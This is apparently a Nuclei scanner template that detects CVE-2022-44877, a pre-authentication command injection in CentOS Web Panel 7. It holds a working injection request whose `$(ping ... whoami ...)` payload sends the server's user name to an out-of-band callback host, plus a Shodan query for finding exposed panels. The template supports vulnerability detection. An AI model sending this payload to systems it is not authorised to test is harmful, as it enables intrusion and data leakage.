id: CVE-2022-44877

info:
  name: CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: |
    CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  remediation: |
    Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/_0xf4n9x_/status/1612068225046675457
    - https://github.com/numanturle/CVE-2022-44877
    - https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44877
    - http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44877
    cwe-id: CWE-78
    epss-score: 0.97473
    epss-percentile: 0.99945
    cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query: http.title:"Login | Control WebPanel"
  tags: packetstorm,cve,cve2022,centos,rce,kev

http:
  - raw:
      - |
        POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=root&password=toor&commit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Login Redirect."

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
        part: interactsh_request